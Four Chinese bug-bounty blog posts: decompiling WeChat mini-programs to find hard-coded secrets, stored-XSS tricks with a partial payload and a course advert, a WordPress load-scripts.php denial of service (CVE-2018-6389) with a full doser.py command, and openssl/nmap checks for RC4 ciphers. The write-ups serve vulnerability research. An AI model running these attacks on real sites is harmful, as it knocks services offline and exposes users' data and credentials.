微信小程序反编译源码后的一次偶然发现 作者: lattice 时间: 2020-04-30 分类: 网络安全 1 条评论 # 起因 一大早老爸给我发了个大佬的文章 具体的需求就是反编译小程序,拿到小程序的源码 好吧,看看就看看 ## 第一步 先贴上大佬的文章: https://www.cnblogs.com/_error/p/11726356.html 第一步我们就需要小程序的源码包 wxapkg 获取的方式非常容易,上面的文章也有写 我就把具体步骤描述出来好了 因为需要root权限获取系统文件,所以这里用到了安卓模拟器 (俺用的夜神,其他的也可) 模拟器内登陆微信并打开任意一款小程序(这里就不截图了..) 之后安装RE文件管理器,找到如下目录 `/data/data/com.tencent.mm/MicroMsg/{User}/appbrand/pkg` **{ User } 为一串16进制字符** 可能到`/data/data/com.tencent.mm/MicroMsg/`目录之后大家会不清楚具体是哪个文件夹,这里给大家举例  继续跟进上面的目录路径之后,就可以到达小程序的源码包目录  务必将你需要测试的小程序源码包打包成压缩文件  之后将此压缩文件选中,通过模拟器里的微信发到电脑就好了 这个就是我们需要反编译的小程序源码包  ## 第二步 这里需要用到工具 https://github.com/qwerty472123/wxappUnpacker/releases 下载下来,我就直接丢到linux里测试了 **注意:linux需要装好node环境(node环境安装直接百度就好了..很简单快速),同时要cd到该工具的目录下运行命令`npm install`** ## 第三步 所需环境和工具咱都弄好之后 开始反编译小程序,具体我们只需要用到wuWxapkg.js这个文件 **此时的操作还是需要在工具目录下** 运行命令`node wuWxapkg.js 'wxapkg包路径'` 脚本一顿操作,就会在你那个wxapkg包路径的目录下反编译出小程序的源码了  之后我就直接把这个源码丢给公司程序员去看了 # 后续 **下面的操作属于巧合导致我发现了信息泄露,不一定要像我这样用什么开发者工具,直接翻上面的小程序源码也可以找到敏感信息,下面内容只是扩展** ## 微信开发者工具 老爸要我看看源码是否可以正常显示 这里就要用到微信开发者工具了 https://developers.weixin.qq.com/miniprogram/dev/devtools/download.html 但是导入这个小程序的源码包 需要任意一个开发者的AppId  这一步还是有门槛,需要有自己的公众号来申请  大概就是这样,填入之后导入之前反编译出来的小程序源码 ## 奇怪的请求 导入之后我发现有个`help.js`文件一直在请求`SESSION_KEY`  然后我直接定位到了目录里的这个js文件 发现里面都是..各种敏感信息(后台地址,支付接口id等)  (请求的原因是他源码里没填写`SESSION_KEY`,正常发布了的小程序肯定是填写完整可以正常运行的) ## 继续深入 后面一直在翻源码的js代码看 发现小程序所有铭感信息都是写在了js文件里  所以后期想要测试的小伙伴,目光都可以放在源码的js文件里,方便大家定位,剩下具体的就不做截图了 # 结尾 emmm其实大概也就这样吧,大家可用这个方法去测测别的小程序,看看能不能翻到一些敏感信息吧,或许对大家刷SRC也有帮助呢 XD
分享一些近期学到的XSS挖掘方法(恰饭篇) 作者: lattice 时间: 2019-04-30 分类: 网络安全 评论 **本文核心套路来自 Novy@白帽100少先队** **为实际运用及效果分享** ## 开头 已经很久没写一些正常的技术博文了.. 之前全都是在骂人和吐槽、吃瓜,相信大家也看腻了 该好好分享一些技术性的东西了 文章中出现所使用的payload放在最下面了哦,慢慢看说不定对你有帮助(其实是从novy那里白嫖来的23333亲亲他) 以下分享全部为实际案例,如有冒犯欢迎来打我(头铁) ## 个人资料处的存储xss ### 给你取一个好听的昵称吧 非常ez,硬核一点,直接插  确认修改之后可直接弹窗,不确定的话可以刷新页面再试试(微笑)  有些时候,昵称处表面限制了字符或者长度,我们就可以截包将昵称改成payload再放包(存在绕过的情况下)  用burp forward出去之后刷新页面就可以弹窗了  ### 或者给自己换一个好看一点的头像?? 上传头像处上传构造好的写入html格式的xss payload的图片格式文件(真鸡巴拗口)  重放之后我们可以获取到文件的链接,加上文件上传到的主域名并访问  这样,你滴jpg也可以弹窗了嗷 如果访问时发现页面写着‘文件损坏,无法访问’并没有弹窗 那我们就可以把之前截的包中,我们上传的文件后缀改成.html上传(如果存在任意文件上传的问题) 再次访问,说不定就能弹窗(甚至还能getshell) 如果都没有,你放弃吧 xD ### 我想写文章了,但是我的编辑器好像有点问题 如果大家在写文章的时候有细心观察,大家可以发现编辑器的左上角都会有个代码的logo,这意味着我们可以用代码的形式来写文章??可能吧。。who care **下面是novy教我所有xss中最强的方法,当时用这几个方法刷遍了BUGX,希望畅畅别来打我,爱你们俩** 然后我们点开这个编辑器功能,就可以进入代码编辑 聪明的你就可以试试直接插入xss payload  回到正常编辑模式后,你就会发现他神奇的弹窗了  (编辑器还有上传图片或者附件的功能,打xss的方法如上,翻回去细心看看) **高潮来了,我也高潮了** 编辑器肯定还有添加链接的功能,是吧 !!(求肯定) 我们在添加链接的链接处插入构造好的xss payload  点击插入后直接弹窗  当然,这个问题只针对某一款编辑器 这个问题是novy审计出来的...更多的我不方便分享 因为未经允许(别打我,抱头) 总之,这个问题运气好的话说不定就碰上了呢23333 ## !开始恰饭! 肯定比19.9的那个好多了,还便宜了10块钱 可能上面分享的知识大家已经会了,那就当复习一下 如果上面的方法没试过的小伙伴,希望上面的东西能够对你起到帮助 但是肯定还有很多很多的脏套路我们没学会 所以...我觉得我们也需要去好好补习一下了(一本正经)  看看这价格再看看xss漏洞在每家src的价值 你就从了他吧,反正9.99比那个卖19.9的个人卖家靠谱多了(笑脸) 直接扫描就可以访问啦 都要恰饭的嘛23333 ## 最后的是文章中出现的Payload分享: ``` http:// foo="> ``` 需要的话可以变成html格式的,因为老子编辑器也他妈有xss,就不写上去了,赶紧换一个  **本人菜鸡,告辞**
分享一个连审核都不想审,就给了1分的刁钻拒绝服务案例 作者: lattice 时间: 2019-02-07 分类: 网络安全 评论 ## 开头语 像我这种菜鸡就只能挖这种傻逼刁钻的漏洞了(打扰,没耐心的还是别挖了...真的) 这个洞是之前挖某个src碰到了一个wordpress站,欸!信心满满好不好 毕竟想起n年前把某回收直接getshell,因为他们站也是用的wordpress(就是做得很大的那个某回收,况且很多人盯着他们网站的模板,的确做得不错,漏洞很早之前以及提交补天了) ## 问题详细 可发现站点所使用的网站系统为 wordpress4.6.x 出现问题的链接:https://xxx.xxx.com/wp-admin/load-scripts.php?c=1&load[]=jquery-ui-core,editor&ver=4.9.1 可参考链接:https://www.vulnspy.com/cn-cve-2018-6389-wordpress-denial-of-service-dos-vulnerability/ 导致拒绝服务的文件内容:  咱们可以在这个js文件中看到,引用了很多的js和css文件 wordpress呢就允许用户通过这个load-scripts.php 文件一次性载入多个JS文件和CSS文件,例如请求`https://xxx.xxx.com/wp-admin/load-scripts.php?c=1&load[]=jquery-ui-core,editor&ver=4.9.1` 此时load-scripts.php将自动加载jquery-ui-core和editor文件并返回文件内容 所以我们可以向这个js文件发起多次载入文件请求而消耗资源引起拒绝服务 ## 利用方法 利用脚本:https://github.com/quitten/doser.py 构造命令: ```python python doser.py -g 'http://xxx.xxx.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 100 ``` ## 利用结果 在多次请求之后最终可导致拒绝服务(没有开高线程,所以导致临时性的无法访问,但是长时间攻击即可导致网站一直无法访问)  ## 漏洞分析(引用自Vulnspy) 在文件`WordPress/wp-admin/load-scripts.php`中:  load-scripts.php 文件会根据load参数传入的文件名依次载入文件并输出。同时程序对load参数的内容进行了过滤,只有在白名单$wp_scripts中的JS文件才会被载入。 该JS文件白名单的内容在文件`WordPress/wp-includes/script-loader.php`中:  JS文件白名单中共有181个文件。如果我们请求`load-scripts.php`文件使其同时载入全部JS文件,PHP代码将要进行181次的读取操作。若同时发起多个载入全部JS文件的请求,这将极大地消耗服务器资源,即有可能导致网站无法正常响应其他用户的请求。
对主机漏洞-RC4弱密码套件的深度剖析(CVE-2015-2808) 作者: lattice 时间: 2019-02-03 分类: 网络安全 1 条评论 ## 事情起因 去年九月份那会一直再刷某个SRC的漏洞,由于自己比较懒,所以经常会使用扫描器进行扫描 结果wvs发现了这个漏洞 [](https://www.latticehub.xyz/usr/uploads/2019/01/2867361218.png) 当时想着有一个洞算一个洞吧... 所以就尝试着研究一下这个漏洞是怎么利用的 ## 漏洞成因 RC4这套加密方法是在20世纪末期被研究出来并在2000年左右被大量的网站所使用,但是在02年出现了漏洞且持续了13年才被一个外国大佬所发现 成因总结来说:就是加密方式太老了,长时间更换网站加密方式导致了攻击者可以进行中间人攻击,能够有效地进行大量用户的嗅探监听和会话劫持 ## 漏洞影响 攻击者可以在特定环境下只通过嗅探监听就可以还原采用RC4保护的加密信息中的纯文本,导致账户、密码、信用卡信息等重要敏感信息暴露,并且可以通过中间人对用户进行会话劫持同时可以获取到网站服务器证书信息 ## 漏洞发现 **确定服务器使用了RC4加密套件且开放443了端口** (意思并非开放了443端口的都是存在该漏洞) 为啥说是要开放443端口呢? 因为...碰到次数太多了,经验告诉我存在该漏洞的网站都需要打开443端口,所以可以说网站的RC4加密是基于443端口的(本人菜鸡,求勿喷) 手工的话...基本发现不了,所以直接扫描器一波乱扫或者开端口扫描吧 ## 漏洞利用(实例) **利用条件:服务器使用了RC4加密套件且开启了443端口** 系统安装了Openssl的情况下,使用linux或者macos命令: `openssl s_client -connect xxx.com:443 -cipher RC4 `(xxx.com改成目标站点) 或许到这里,有的朋友可能会问“网上还有检查该漏洞的Nmap命令,为啥我不写上” 因为我用了一下,Nmap检测改漏洞的结果...比不上直接用Openssl来的直观(并不是说Nmap就很差),所以本人一直用的是Openssl的命令来检测 下面也会放出使用Nmap的命令检测该漏洞: `nmap -p 443 --script=ssl-enum-ciphers xxx.com`(xxx.com改成目标站点) 最后检测结果类似下图可以直接获取服务器证书的话,就说明存在漏洞 [](https://www.latticehub.xyz/usr/uploads/2019/01/3397101383.png) 但是,如果结果显示"sslv3 alerthandshake failure"等内容的话,就表明服务器没有这个漏洞且获取不到服务器证书 ## 漏洞影响等级/奖励参考 影响等级:中危 SRC奖励参考:±150RMB (仅供参考,具体按各个平台审核标准来定) ### 参考链接(修复漏洞): https://www.cnblogs.com/pshell/p/7942059.html https://blog.csdn.net/Amdy_amdy/article/details/82781414